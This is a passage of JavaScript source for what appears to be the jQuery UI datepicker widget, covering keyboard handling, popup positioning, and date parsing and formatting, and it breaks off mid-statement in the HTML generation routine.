( onSelect ) { dateStr = $.datepicker._formatDate( inst ); // Trigger custom callback onSelect.apply( ( inst.input ? inst.input[ 0 ] : null ), [ dateStr, inst ] ); } else { $.datepicker._hideDatepicker(); } return false; // don't submit the form case 27: $.datepicker._hideDatepicker(); break; // hide on escape case 33: $.datepicker._adjustDate( event.target, ( event.ctrlKey ? -$.datepicker._get( inst, "stepBigMonths" ) : -$.datepicker._get( inst, "stepMonths" ) ), "M" ); break; // previous month/year on page up/+ ctrl case 34: $.datepicker._adjustDate( event.target, ( event.ctrlKey ? +$.datepicker._get( inst, "stepBigMonths" ) : +$.datepicker._get( inst, "stepMonths" ) ), "M" ); break; // next month/year on page down/+ ctrl case 35: if ( event.ctrlKey || event.metaKey ) { $.datepicker._clearDate( event.target ); } handled = event.ctrlKey || event.metaKey; break; // clear on ctrl or command +end case 36: if ( event.ctrlKey || event.metaKey ) { $.datepicker._gotoToday( event.target ); } handled = event.ctrlKey || event.metaKey; break; // current on ctrl or command +home case 37: if ( event.ctrlKey || event.metaKey ) { $.datepicker._adjustDate( event.target, ( isRTL ? +1 : -1 ), "D" ); } handled = event.ctrlKey || event.metaKey; // -1 day on ctrl or command +left if ( event.originalEvent.altKey ) { $.datepicker._adjustDate( event.target, ( event.ctrlKey ? -$.datepicker._get( inst, "stepBigMonths" ) : -$.datepicker._get( inst, "stepMonths" ) ), "M" ); } // next month/year on alt +left on Mac break; case 38: if ( event.ctrlKey || event.metaKey ) { $.datepicker._adjustDate( event.target, -7, "D" ); } handled = event.ctrlKey || event.metaKey; break; // -1 week on ctrl or command +up case 39: if ( event.ctrlKey || event.metaKey ) { $.datepicker._adjustDate( event.target, ( isRTL ? -1 : +1 ), "D" ); } handled = event.ctrlKey || event.metaKey; // +1 day on ctrl or command +right if ( event.originalEvent.altKey ) { $.datepicker._adjustDate( event.target, ( event.ctrlKey ? +$.datepicker._get( inst, "stepBigMonths" ) : +$.datepicker._get( inst, "stepMonths" ) ), "M" ); } // next month/year on alt +right break; case 40: if ( event.ctrlKey || event.metaKey ) { $.datepicker._adjustDate( event.target, +7, "D" ); } handled = event.ctrlKey || event.metaKey; break; // +1 week on ctrl or command +down default: handled = false; } } else if ( event.keyCode === 36 && event.ctrlKey ) { // display the date picker on ctrl+home $.datepicker._showDatepicker( this ); } else { handled = false; } if ( handled ) { event.preventDefault(); event.stopPropagation(); } }, /* Filter entered characters - based on date format. */ _doKeyPress: function( event ) { var chars, chr, inst = $.datepicker._getInst( event.target ); if ( $.datepicker._get( inst, "constrainInput" ) ) { chars = $.datepicker._possibleChars( $.datepicker._get( inst, "dateFormat" ) ); chr = String.fromCharCode( event.charCode == null ? event.keyCode : event.charCode ); return event.ctrlKey || event.metaKey || ( chr < " " || !chars || chars.indexOf( chr ) > -1 ); } }, /* Synchronise manual entry and field/alternate field. */ _doKeyUp: function( event ) { var date, inst = $.datepicker._getInst( event.target ); if ( inst.input.val() !== inst.lastVal ) { try { date = $.datepicker.parseDate( $.datepicker._get( inst, "dateFormat" ), ( inst.input ? inst.input.val() : null ), $.datepicker._getFormatConfig( inst ) ); if ( date ) { // only if valid $.datepicker._setDateFromField( inst ); $.datepicker._updateAlternate( inst ); $.datepicker._updateDatepicker( inst ); } } catch ( err ) { } } return true; }, /* Pop-up the date picker for a given input field. * If false returned from beforeShow event handler do not show. * @param input element - the input field attached to the date picker or * event - if triggered by focus */ _showDatepicker: function( input ) { input = input.target || input; if ( input.nodeName.toLowerCase() !== "input" ) { // find from button/image trigger input = $( "input", input.parentNode )[ 0 ]; } if ( $.datepicker._isDisabledDatepicker( input ) || $.datepicker._lastInput === input ) { // already here return; } var inst, beforeShow, beforeShowSettings, isFixed, offset, showAnim, duration; inst = $.datepicker._getInst( input ); if ( $.datepicker._curInst && $.datepicker._curInst !== inst ) { $.datepicker._curInst.dpDiv.stop( true, true ); if ( inst && $.datepicker._datepickerShowing ) { $.datepicker._hideDatepicker( $.datepicker._curInst.input[ 0 ] ); } } beforeShow = $.datepicker._get( inst, "beforeShow" ); beforeShowSettings = beforeShow ? beforeShow.apply( input, [ input, inst ] ) : {}; if ( beforeShowSettings === false ) { return; } datepicker_extendRemove( inst.settings, beforeShowSettings ); inst.lastVal = null; $.datepicker._lastInput = input; $.datepicker._setDateFromField( inst ); if ( $.datepicker._inDialog ) { // hide cursor input.value = ""; } if ( !$.datepicker._pos ) { // position below input $.datepicker._pos = $.datepicker._findPos( input ); $.datepicker._pos[ 1 ] += input.offsetHeight; // add the height } isFixed = false; $( input ).parents().each( function() { isFixed |= $( this ).css( "position" ) === "fixed"; return !isFixed; } ); offset = { left: $.datepicker._pos[ 0 ], top: $.datepicker._pos[ 1 ] }; $.datepicker._pos = null; //to avoid flashes on Firefox inst.dpDiv.empty(); // determine sizing offscreen inst.dpDiv.css( { position: "absolute", display: "block", top: "-1000px" } ); $.datepicker._updateDatepicker( inst ); // fix width for dynamic number of date pickers // and adjust position before showing offset = $.datepicker._checkOffset( inst, offset, isFixed ); inst.dpDiv.css( { position: ( $.datepicker._inDialog && $.blockUI ? "static" : ( isFixed ? "fixed" : "absolute" ) ), display: "none", left: offset.left + "px", top: offset.top + "px" } ); if ( !inst.inline ) { showAnim = $.datepicker._get( inst, "showAnim" ); duration = $.datepicker._get( inst, "duration" ); inst.dpDiv.css( "z-index", datepicker_getZindex( $( input ) ) + 1 ); $.datepicker._datepickerShowing = true; if ( $.effects && $.effects.effect[ showAnim ] ) { inst.dpDiv.show( showAnim, $.datepicker._get( inst, "showOptions" ), duration ); } else { inst.dpDiv[ showAnim || "show" ]( showAnim ? duration : null ); } if ( $.datepicker._shouldFocusInput( inst ) ) { inst.input.trigger( "focus" ); } $.datepicker._curInst = inst; } }, /* Generate the date picker content. */ _updateDatepicker: function( inst ) { this.maxRows = 4; //Reset the max number of rows being displayed (see #7043) datepicker_instActive = inst; // for delegate hover events inst.dpDiv.empty().append( this._generateHTML( inst ) ); this._attachHandlers( inst ); var origyearshtml, numMonths = this._getNumberOfMonths( inst ), cols = numMonths[ 1 ], width = 17, activeCell = inst.dpDiv.find( "." + this._dayOverClass + " a" ), onUpdateDatepicker = $.datepicker._get( inst, "onUpdateDatepicker" ); if ( activeCell.length > 0 ) { datepicker_handleMouseover.apply( activeCell.get( 0 ) ); } inst.dpDiv.removeClass( "ui-datepicker-multi-2 ui-datepicker-multi-3 ui-datepicker-multi-4" ).width( "" ); if ( cols > 1 ) { inst.dpDiv.addClass( "ui-datepicker-multi-" + cols ).css( "width", ( width * cols ) + "em" ); } inst.dpDiv[ ( numMonths[ 0 ] !== 1 || numMonths[ 1 ] !== 1 ? "add" : "remove" ) + "Class" ]( "ui-datepicker-multi" ); inst.dpDiv[ ( this._get( inst, "isRTL" ) ? "add" : "remove" ) + "Class" ]( "ui-datepicker-rtl" ); if ( inst === $.datepicker._curInst && $.datepicker._datepickerShowing && $.datepicker._shouldFocusInput( inst ) ) { inst.input.trigger( "focus" ); } // Deffered render of the years select (to avoid flashes on Firefox) if ( inst.yearshtml ) { origyearshtml = inst.yearshtml; setTimeout( function() { //assure that inst.yearshtml didn't change. if ( origyearshtml === inst.yearshtml && inst.yearshtml ) { inst.dpDiv.find( "select.ui-datepicker-year" ).first().replaceWith( inst.yearshtml ); } origyearshtml = inst.yearshtml = null; }, 0 ); } if ( onUpdateDatepicker ) { onUpdateDatepicker.apply( ( inst.input ? inst.input[ 0 ] : null ), [ inst ] ); } }, // #6694 - don't focus the input if it's already focused // this breaks the change event in IE // Support: IE and jQuery <1.9 _shouldFocusInput: function( inst ) { return inst.input && inst.input.is( ":visible" ) && !inst.input.is( ":disabled" ) && !inst.input.is( ":focus" ); }, /* Check positioning to remain on screen. */ _checkOffset: function( inst, offset, isFixed ) { var dpWidth = inst.dpDiv.outerWidth(), dpHeight = inst.dpDiv.outerHeight(), inputWidth = inst.input ? inst.input.outerWidth() : 0, inputHeight = inst.input ? inst.input.outerHeight() : 0, viewWidth = document.documentElement.clientWidth + ( isFixed ? 0 : $( document ).scrollLeft() ), viewHeight = document.documentElement.clientHeight + ( isFixed ? 0 : $( document ).scrollTop() ); offset.left -= ( this._get( inst, "isRTL" ) ? ( dpWidth - inputWidth ) : 0 ); offset.left -= ( isFixed && offset.left === inst.input.offset().left ) ? $( document ).scrollLeft() : 0; offset.top -= ( isFixed && offset.top === ( inst.input.offset().top + inputHeight ) ) ? $( document ).scrollTop() : 0; // Now check if datepicker is showing outside window viewport - move to a better place if so. offset.left -= Math.min( offset.left, ( offset.left + dpWidth > viewWidth && viewWidth > dpWidth ) ? Math.abs( offset.left + dpWidth - viewWidth ) : 0 ); offset.top -= Math.min( offset.top, ( offset.top + dpHeight > viewHeight && viewHeight > dpHeight ) ? Math.abs( dpHeight + inputHeight ) : 0 ); return offset; }, /* Find an object's position on the screen. */ _findPos: function( obj ) { var position, inst = this._getInst( obj ), isRTL = this._get( inst, "isRTL" ); while ( obj && ( obj.type === "hidden" || obj.nodeType !== 1 || $.expr.pseudos.hidden( obj ) ) ) { obj = obj[ isRTL ? "previousSibling" : "nextSibling" ]; } position = $( obj ).offset(); return [ position.left, position.top ]; }, /* Hide the date picker from view. * @param input element - the input field attached to the date picker */ _hideDatepicker: function( input ) { var showAnim, duration, postProcess, onClose, inst = this._curInst; if ( !inst || ( input && inst !== $.data( input, "datepicker" ) ) ) { return; } if ( this._datepickerShowing ) { showAnim = this._get( inst, "showAnim" ); duration = this._get( inst, "duration" ); postProcess = function() { $.datepicker._tidyDialog( inst ); }; // DEPRECATED: after BC for 1.8.x $.effects[ showAnim ] is not needed if ( $.effects && ( $.effects.effect[ showAnim ] || $.effects[ showAnim ] ) ) { inst.dpDiv.hide( showAnim, $.datepicker._get( inst, "showOptions" ), duration, postProcess ); } else { inst.dpDiv[ ( showAnim === "slideDown" ? "slideUp" : ( showAnim === "fadeIn" ? "fadeOut" : "hide" ) ) ]( ( showAnim ? duration : null ), postProcess ); } if ( !showAnim ) { postProcess(); } this._datepickerShowing = false; onClose = this._get( inst, "onClose" ); if ( onClose ) { onClose.apply( ( inst.input ? inst.input[ 0 ] : null ), [ ( inst.input ? inst.input.val() : "" ), inst ] ); } this._lastInput = null; if ( this._inDialog ) { this._dialogInput.css( { position: "absolute", left: "0", top: "-100px" } ); if ( $.blockUI ) { $.unblockUI(); $( "body" ).append( this.dpDiv ); } } this._inDialog = false; } }, /* Tidy up after a dialog display. */ _tidyDialog: function( inst ) { inst.dpDiv.removeClass( this._dialogClass ).off( ".ui-datepicker-calendar" ); }, /* Close date picker if clicked elsewhere. */ _checkExternalClick: function( event ) { if ( !$.datepicker._curInst ) { return; } var $target = $( event.target ), inst = $.datepicker._getInst( $target[ 0 ] ); if ( ( ( $target[ 0 ].id !== $.datepicker._mainDivId && $target.parents( "#" + $.datepicker._mainDivId ).length === 0 && !$target.hasClass( $.datepicker.markerClassName ) && !$target.closest( "." + $.datepicker._triggerClass ).length && $.datepicker._datepickerShowing && !( $.datepicker._inDialog && $.blockUI ) ) ) || ( $target.hasClass( $.datepicker.markerClassName ) && $.datepicker._curInst !== inst ) ) { $.datepicker._hideDatepicker(); } }, /* Adjust one of the date sub-fields. */ _adjustDate: function( id, offset, period ) { var target = $( id ), inst = this._getInst( target[ 0 ] ); if ( this._isDisabledDatepicker( target[ 0 ] ) ) { return; } this._adjustInstDate( inst, offset, period ); this._updateDatepicker( inst ); }, /* Action for current link. */ _gotoToday: function( id ) { var date, target = $( id ), inst = this._getInst( target[ 0 ] ); if ( this._get( inst, "gotoCurrent" ) && inst.currentDay ) { inst.selectedDay = inst.currentDay; inst.drawMonth = inst.selectedMonth = inst.currentMonth; inst.drawYear = inst.selectedYear = inst.currentYear; } else { date = new Date(); inst.selectedDay = date.getDate(); inst.drawMonth = inst.selectedMonth = date.getMonth(); inst.drawYear = inst.selectedYear = date.getFullYear(); } this._notifyChange( inst ); this._adjustDate( target ); }, /* Action for selecting a new month/year. */ _selectMonthYear: function( id, select, period ) { var target = $( id ), inst = this._getInst( target[ 0 ] ); inst[ "selected" + ( period === "M" ? "Month" : "Year" ) ] = inst[ "draw" + ( period === "M" ? "Month" : "Year" ) ] = parseInt( select.options[ select.selectedIndex ].value, 10 ); this._notifyChange( inst ); this._adjustDate( target ); }, /* Action for selecting a day. */ _selectDay: function( id, month, year, td ) { var inst, target = $( id ); if ( $( td ).hasClass( this._unselectableClass ) || this._isDisabledDatepicker( target[ 0 ] ) ) { return; } inst = this._getInst( target[ 0 ] ); inst.selectedDay = inst.currentDay = parseInt( $( "a", td ).attr( "data-date" ) ); inst.selectedMonth = inst.currentMonth = month; inst.selectedYear = inst.currentYear = year; this._selectDate( id, this._formatDate( inst, inst.currentDay, inst.currentMonth, inst.currentYear ) ); }, /* Erase the input field and hide the date picker. */ _clearDate: function( id ) { var target = $( id ); this._selectDate( target, "" ); }, /* Update the input field with the selected date. */ _selectDate: function( id, dateStr ) { var onSelect, target = $( id ), inst = this._getInst( target[ 0 ] ); dateStr = ( dateStr != null ? dateStr : this._formatDate( inst ) ); if ( inst.input ) { inst.input.val( dateStr ); } this._updateAlternate( inst ); onSelect = this._get( inst, "onSelect" ); if ( onSelect ) { onSelect.apply( ( inst.input ? inst.input[ 0 ] : null ), [ dateStr, inst ] ); // trigger custom callback } else if ( inst.input ) { inst.input.trigger( "change" ); // fire the change event } if ( inst.inline ) { this._updateDatepicker( inst ); } else { this._hideDatepicker(); this._lastInput = inst.input[ 0 ]; if ( typeof( inst.input[ 0 ] ) !== "object" ) { inst.input.trigger( "focus" ); // restore focus } this._lastInput = null; } }, /* Update any alternate field to synchronise with the main field. */ _updateAlternate: function( inst ) { var altFormat, date, dateStr, altField = this._get( inst, "altField" ); if ( altField ) { // update alternate field too altFormat = this._get( inst, "altFormat" ) || this._get( inst, "dateFormat" ); date = this._getDate( inst ); dateStr = this.formatDate( altFormat, date, this._getFormatConfig( inst ) ); $( document ).find( altField ).val( dateStr ); } }, /* Set as beforeShowDay function to prevent selection of weekends. * @param date Date - the date to customise * @return [boolean, string] - is this date selectable?, what is its CSS class? */ noWeekends: function( date ) { var day = date.getDay(); return [ ( day > 0 && day < 6 ), "" ]; }, /* Set as calculateWeek to determine the week of the year based on the ISO 8601 definition. * @param date Date - the date to get the week for * @return number - the number of the week within the year that contains this date */ iso8601Week: function( date ) { var time, checkDate = new Date( date.getTime() ); // Find Thursday of this week starting on Monday checkDate.setDate( checkDate.getDate() + 4 - ( checkDate.getDay() || 7 ) ); time = checkDate.getTime(); checkDate.setMonth( 0 ); // Compare with Jan 1 checkDate.setDate( 1 ); return Math.floor( Math.round( ( time - checkDate ) / 86400000 ) / 7 ) + 1; }, /* Parse a string value into a date object. * See formatDate below for the possible formats. * * @param format string - the expected format of the date * @param value string - the date in the above format * @param settings Object - attributes include: * shortYearCutoff number - the cutoff year for determining the century (optional) * dayNamesShort string[7] - abbreviated names of the days from Sunday (optional) * dayNames string[7] - names of the days from Sunday (optional) * monthNamesShort string[12] - abbreviated names of the months (optional) * monthNames string[12] - names of the months (optional) * @return Date - the extracted date value or null if value is blank */ parseDate: function( format, value, settings ) { if ( format == null || value == null ) { throw "Invalid arguments"; } value = ( typeof value === "object" ? value.toString() : value + "" ); if ( value === "" ) { return null; } var iFormat, dim, extra, iValue = 0, shortYearCutoffTemp = ( settings ? settings.shortYearCutoff : null ) || this._defaults.shortYearCutoff, shortYearCutoff = ( typeof shortYearCutoffTemp !== "string" ? shortYearCutoffTemp : new Date().getFullYear() % 100 + parseInt( shortYearCutoffTemp, 10 ) ), dayNamesShort = ( settings ? settings.dayNamesShort : null ) || this._defaults.dayNamesShort, dayNames = ( settings ? settings.dayNames : null ) || this._defaults.dayNames, monthNamesShort = ( settings ? settings.monthNamesShort : null ) || this._defaults.monthNamesShort, monthNames = ( settings ? settings.monthNames : null ) || this._defaults.monthNames, year = -1, month = -1, day = -1, doy = -1, literal = false, date, // Check whether a format character is doubled lookAhead = function( match ) { var matches = ( iFormat + 1 < format.length && format.charAt( iFormat + 1 ) === match ); if ( matches ) { iFormat++; } return matches; }, // Extract a number from the string value getNumber = function( match ) { var isDoubled = lookAhead( match ), size = ( match === "@" ? 14 : ( match === "!" ? 20 : ( match === "y" && isDoubled ? 4 : ( match === "o" ? 3 : 2 ) ) ) ), minSize = ( match === "y" ? size : 1 ), digits = new RegExp( "^\\d{" + minSize + "," + size + "}" ), num = value.substring( iValue ).match( digits ); if ( !num ) { throw "Missing number at position " + iValue; } iValue += num[ 0 ].length; return parseInt( num[ 0 ], 10 ); }, // Extract a name from the string value and convert to an index getName = function( match, shortNames, longNames ) { var index = -1, names = $.map( lookAhead( match ) ? longNames : shortNames, function( v, k ) { return [ [ k, v ] ]; } ).sort( function( a, b ) { return -( a[ 1 ].length - b[ 1 ].length ); } ); $.each( names, function( i, pair ) { var name = pair[ 1 ]; if ( value.substr( iValue, name.length ).toLowerCase() === name.toLowerCase() ) { index = pair[ 0 ]; iValue += name.length; return false; } } ); if ( index !== -1 ) { return index + 1; } else { throw "Unknown name at position " + iValue; } }, // Confirm that a literal character matches the string value checkLiteral = function() { if ( value.charAt( iValue ) !== format.charAt( iFormat ) ) { throw "Unexpected literal at position " + iValue; } iValue++; }; for ( iFormat = 0; iFormat < format.length; iFormat++ ) { if ( literal ) { if ( format.charAt( iFormat ) === "'" && !lookAhead( "'" ) ) { literal = false; } else { checkLiteral(); } } else { switch ( format.charAt( iFormat ) ) { case "d": day = getNumber( "d" ); break; case "D": getName( "D", dayNamesShort, dayNames ); break; case "o": doy = getNumber( "o" ); break; case "m": month = getNumber( "m" ); break; case "M": month = getName( "M", monthNamesShort, monthNames ); break; case "y": year = getNumber( "y" ); break; case "@": date = new Date( getNumber( "@" ) ); year = date.getFullYear(); month = date.getMonth() + 1; day = date.getDate(); break; case "!": date = new Date( ( getNumber( "!" ) - this._ticksTo1970 ) / 10000 ); year = date.getFullYear(); month = date.getMonth() + 1; day = date.getDate(); break; case "'": if ( lookAhead( "'" ) ) { checkLiteral(); } else { literal = true; } break; default: checkLiteral(); } } } if ( iValue < value.length ) { extra = value.substr( iValue ); if ( !/^\s+/.test( extra ) ) { throw "Extra/unparsed characters found in date: " + extra; } } if ( year === -1 ) { year = new Date().getFullYear(); } else if ( year < 100 ) { year += new Date().getFullYear() - new Date().getFullYear() % 100 + ( year <= shortYearCutoff ? 0 : -100 ); } if ( doy > -1 ) { month = 1; day = doy; do { dim = this._getDaysInMonth( year, month - 1 ); if ( day <= dim ) { break; } month++; day -= dim; } while ( true ); } date = this._daylightSavingAdjust( new Date( year, month - 1, day ) ); if ( date.getFullYear() !== year || date.getMonth() + 1 !== month || date.getDate() !== day ) { throw "Invalid date"; // E.g. 31/02/00 } return date; }, /* Standard date formats. */ ATOM: "yy-mm-dd", // RFC 3339 (ISO 8601) COOKIE: "D, dd M yy", ISO_8601: "yy-mm-dd", RFC_822: "D, d M y", RFC_850: "DD, dd-M-y", RFC_1036: "D, d M y", RFC_1123: "D, d M yy", RFC_2822: "D, d M yy", RSS: "D, d M y", // RFC 822 TICKS: "!", TIMESTAMP: "@", W3C: "yy-mm-dd", // ISO 8601 _ticksTo1970: ( ( ( 1970 - 1 ) * 365 + Math.floor( 1970 / 4 ) - Math.floor( 1970 / 100 ) + Math.floor( 1970 / 400 ) ) * 24 * 60 * 60 * 10000000 ), /* Format a date object into a string value. * The format can be combinations of the following: * d - day of month (no leading zero) * dd - day of month (two digit) * o - day of year (no leading zeros) * oo - day of year (three digit) * D - day name short * DD - day name long * m - month of year (no leading zero) * mm - month of year (two digit) * M - month name short * MM - month name long * y - year (two digit) * yy - year (four digit) * @ - Unix timestamp (ms since 01/01/1970) * ! - Windows ticks (100ns since 01/01/0001) * "..." - literal text * '' - single quote * * @param format string - the desired format of the date * @param date Date - the date value to format * @param settings Object - attributes include: * dayNamesShort string[7] - abbreviated names of the days from Sunday (optional) * dayNames string[7] - names of the days from Sunday (optional) * monthNamesShort string[12] - abbreviated names of the months (optional) * monthNames string[12] - names of the months (optional) * @return string - the date in the above format */ formatDate: function( format, date, settings ) { if ( !date ) { return ""; } var iFormat, dayNamesShort = ( settings ? settings.dayNamesShort : null ) || this._defaults.dayNamesShort, dayNames = ( settings ? settings.dayNames : null ) || this._defaults.dayNames, monthNamesShort = ( settings ? settings.monthNamesShort : null ) || this._defaults.monthNamesShort, monthNames = ( settings ? settings.monthNames : null ) || this._defaults.monthNames, // Check whether a format character is doubled lookAhead = function( match ) { var matches = ( iFormat + 1 < format.length && format.charAt( iFormat + 1 ) === match ); if ( matches ) { iFormat++; } return matches; }, // Format a number, with leading zero if necessary formatNumber = function( match, value, len ) { var num = "" + value; if ( lookAhead( match ) ) { while ( num.length < len ) { num = "0" + num; } } return num; }, // Format a name, short or long as requested formatName = function( match, value, shortNames, longNames ) { return ( lookAhead( match ) ? longNames[ value ] : shortNames[ value ] ); }, output = "", literal = false; if ( date ) { for ( iFormat = 0; iFormat < format.length; iFormat++ ) { if ( literal ) { if ( format.charAt( iFormat ) === "'" && !lookAhead( "'" ) ) { literal = false; } else { output += format.charAt( iFormat ); } } else { switch ( format.charAt( iFormat ) ) { case "d": output += formatNumber( "d", date.getDate(), 2 ); break; case "D": output += formatName( "D", date.getDay(), dayNamesShort, dayNames ); break; case "o": output += formatNumber( "o", Math.round( ( new Date( date.getFullYear(), date.getMonth(), date.getDate() ).getTime() - new Date( date.getFullYear(), 0, 0 ).getTime() ) / 86400000 ), 3 ); break; case "m": output += formatNumber( "m", date.getMonth() + 1, 2 ); break; case "M": output += formatName( "M", date.getMonth(), monthNamesShort, monthNames ); break; case "y": output += ( lookAhead( "y" ) ? date.getFullYear() : ( date.getFullYear() % 100 < 10 ? "0" : "" ) + date.getFullYear() % 100 ); break; case "@": output += date.getTime(); break; case "!": output += date.getTime() * 10000 + this._ticksTo1970; break; case "'": if ( lookAhead( "'" ) ) { output += "'"; } else { literal = true; } break; default: output += format.charAt( iFormat ); } } } } return output; }, /* Extract all possible characters from the date format. */ _possibleChars: function( format ) { var iFormat, chars = "", literal = false, // Check whether a format character is doubled lookAhead = function( match ) { var matches = ( iFormat + 1 < format.length && format.charAt( iFormat + 1 ) === match ); if ( matches ) { iFormat++; } return matches; }; for ( iFormat = 0; iFormat < format.length; iFormat++ ) { if ( literal ) { if ( format.charAt( iFormat ) === "'" && !lookAhead( "'" ) ) { literal = false; } else { chars += format.charAt( iFormat ); } } else { switch ( format.charAt( iFormat ) ) { case "d": case "m": case "y": case "@": chars += "0123456789"; break; case "D": case "M": return null; // Accept anything case "'": if ( lookAhead( "'" ) ) { chars += "'"; } else { literal = true; } break; default: chars += format.charAt( iFormat ); } } } return chars; }, /* Get a setting value, defaulting if necessary. */ _get: function( inst, name ) { return inst.settings[ name ] !== undefined ? inst.settings[ name ] : this._defaults[ name ]; }, /* Parse existing date and initialise date picker. */ _setDateFromField: function( inst, noDefault ) { if ( inst.input.val() === inst.lastVal ) { return; } var dateFormat = this._get( inst, "dateFormat" ), dates = inst.lastVal = inst.input ? inst.input.val() : null, defaultDate = this._getDefaultDate( inst ), date = defaultDate, settings = this._getFormatConfig( inst ); try { date = this.parseDate( dateFormat, dates, settings ) || defaultDate; } catch ( event ) { dates = ( noDefault ? "" : dates ); } inst.selectedDay = date.getDate(); inst.drawMonth = inst.selectedMonth = date.getMonth(); inst.drawYear = inst.selectedYear = date.getFullYear(); inst.currentDay = ( dates ? date.getDate() : 0 ); inst.currentMonth = ( dates ? date.getMonth() : 0 ); inst.currentYear = ( dates ? date.getFullYear() : 0 ); this._adjustInstDate( inst ); }, /* Retrieve the default date shown on opening. */ _getDefaultDate: function( inst ) { return this._restrictMinMax( inst, this._determineDate( inst, this._get( inst, "defaultDate" ), new Date() ) ); }, /* A date may be specified as an exact value or a relative one. */ _determineDate: function( inst, date, defaultDate ) { var offsetNumeric = function( offset ) { var date = new Date(); date.setDate( date.getDate() + offset ); return date; }, offsetString = function( offset ) { try { return $.datepicker.parseDate( $.datepicker._get( inst, "dateFormat" ), offset, $.datepicker._getFormatConfig( inst ) ); } catch ( e ) { // Ignore } var date = ( offset.toLowerCase().match( /^c/ ) ? $.datepicker._getDate( inst ) : null ) || new Date(), year = date.getFullYear(), month = date.getMonth(), day = date.getDate(), pattern = /([+\-]?[0-9]+)\s*(d|D|w|W|m|M|y|Y)?/g, matches = pattern.exec( offset ); while ( matches ) { switch ( matches[ 2 ] || "d" ) { case "d" : case "D" : day += parseInt( matches[ 1 ], 10 ); break; case "w" : case "W" : day += parseInt( matches[ 1 ], 10 ) * 7; break; case "m" : case "M" : month += parseInt( matches[ 1 ], 10 ); day = Math.min( day, $.datepicker._getDaysInMonth( year, month ) ); break; case "y": case "Y" : year += parseInt( matches[ 1 ], 10 ); day = Math.min( day, $.datepicker._getDaysInMonth( year, month ) ); break; } matches = pattern.exec( offset ); } return new Date( year, month, day ); }, newDate = ( date == null || date === "" ? defaultDate : ( typeof date === "string" ? offsetString( date ) : ( typeof date === "number" ? ( isNaN( date ) ? defaultDate : offsetNumeric( date ) ) : new Date( date.getTime() ) ) ) ); newDate = ( newDate && newDate.toString() === "Invalid Date" ? defaultDate : newDate ); if ( newDate ) { newDate.setHours( 0 ); newDate.setMinutes( 0 ); newDate.setSeconds( 0 ); newDate.setMilliseconds( 0 ); } return this._daylightSavingAdjust( newDate ); }, /* Handle switch to/from daylight saving. * Hours may be non-zero on daylight saving cut-over: * > 12 when midnight changeover, but then cannot generate * midnight datetime, so jump to 1AM, otherwise reset. * @param date (Date) the date to check * @return (Date) the corrected date */ _daylightSavingAdjust: function( date ) { if ( !date ) { return null; } date.setHours( date.getHours() > 12 ? date.getHours() + 2 : 0 ); return date; }, /* Set the date(s) directly. */ _setDate: function( inst, date, noChange ) { var clear = !date, origMonth = inst.selectedMonth, origYear = inst.selectedYear, newDate = this._restrictMinMax( inst, this._determineDate( inst, date, new Date() ) ); inst.selectedDay = inst.currentDay = newDate.getDate(); inst.drawMonth = inst.selectedMonth = inst.currentMonth = newDate.getMonth(); inst.drawYear = inst.selectedYear = inst.currentYear = newDate.getFullYear(); if ( ( origMonth !== inst.selectedMonth || origYear !== inst.selectedYear ) && !noChange ) { this._notifyChange( inst ); } this._adjustInstDate( inst ); if ( inst.input ) { inst.input.val( clear ? "" : this._formatDate( inst ) ); } }, /* Retrieve the date(s) directly. */ _getDate: function( inst ) { var startDate = ( !inst.currentYear || ( inst.input && inst.input.val() === "" ) ? null : this._daylightSavingAdjust( new Date( inst.currentYear, inst.currentMonth, inst.currentDay ) ) ); return startDate; }, /* Attach the onxxx handlers. These are declared statically so * they work with static code transformers like Caja. */ _attachHandlers: function( inst ) { var stepMonths = this._get( inst, "stepMonths" ), id = "#" + inst.id.replace( /\\\\/g, "\\" ); inst.dpDiv.find( "[data-handler]" ).map( function() { var handler = { prev: function() { $.datepicker._adjustDate( id, -stepMonths, "M" ); }, next: function() { $.datepicker._adjustDate( id, +stepMonths, "M" ); }, hide: function() { $.datepicker._hideDatepicker(); }, today: function() { $.datepicker._gotoToday( id ); }, selectDay: function() { $.datepicker._selectDay( id, +this.getAttribute( "data-month" ), +this.getAttribute( "data-year" ), this ); return false; }, selectMonth: function() { $.datepicker._selectMonthYear( id, this, "M" ); return false; }, selectYear: function() { $.datepicker._selectMonthYear( id, this, "Y" ); return false; } }; $( this ).on( this.getAttribute( "data-event" ), handler[ this.getAttribute( "data-handler" ) ] ); } ); }, /* Generate the HTML for the current state of the date picker. */ _generateHTML: function( inst ) { var maxDraw, prevText, prev, nextText, next, currentText, gotoDate, controls, buttonPanel, firstDay, showWeek, dayNames, dayNamesMin, monthNames, monthNamesShort, beforeShowDay, showOtherMonths, selectOtherMonths, defaultDate, html, dow, row, group, col, selectedDate, cornerClass, calender, thead, day, daysInMonth, leadDays, curRows, numRows, printDate, dRow, tbody, daySettings, otherMonth, unselectable, tempDate = new Date(), today = this._daylightSavingAdjust( new Date( tempDate.getFullYear(), tempDate.getMonth(), tempDate.getDate() ) ), // clear time isRTL = this._get( inst, "isRTL" ), showButtonPanel = this._get( inst, "showButtonPanel" ), hideIfNoPrevNext = this._get( inst, "hideIfNoPrevNext" ), navigationAsDateFormat = this._get( inst, "navigationAsDateFormat" ), numMonths = this._getNumberOfMonths( inst ), showCurrentAtPos = this._get( inst, "showCurrentAtPos" ), stepMonths = this._get( inst, "stepMonths" ), isMultiMonth = ( numMonths[ 0 ] !== 1 || numMonths[ 1 ] !== 1 ), currentDate = this._daylightSavingAdjust( ( !inst.currentDay ? new Date( 9999, 9, 9 ) : new Date( inst.currentYear, inst.currentMonth, inst.currentDay ) ) ), minDate = this._getMinMaxDate( inst, "min" ), maxDate = this._getMinMaxDate( inst, "max" ), drawMonth = inst.drawMonth - showCurrentAtPos, drawYear = inst.drawYear; if ( drawMonth < 0 ) { drawMonth += 12; drawYear--; } if ( maxDate ) { maxDraw = this._daylightSavingAdjust( new Date( maxDate.getFullYear(), maxDate.getMonth() - ( numMonths[ 0 ] * numMonths[ 1 ] ) + 1, maxDate.getDate() ) ); maxDraw = ( minDate && maxDraw < minDate ? minDate : maxDraw ); while ( this._daylightSavingAdjust( new Date( drawYear, drawMonth, 1 ) ) > maxDraw ) { drawMonth--; if ( drawMonth < 0 ) { drawMonth = 11; drawYear--; } } } inst.drawMonth = drawMonth; inst.drawYear = drawYear; prevText = this._get( inst, "prevText" ); prevText = ( !navigationAsDateFormat ? prevText : this.formatDate( prevText, this._daylightSavingAdjust( new Date( drawYear, drawMonth - stepMonths, 1 ) ), this._getFormatConfig( inst ) ) ); if ( this._canAdjustMonth( inst, -1, drawYear, drawMonth ) ) { prev = $( "<a>" ) .attr( { "class": "ui-datepicker-prev 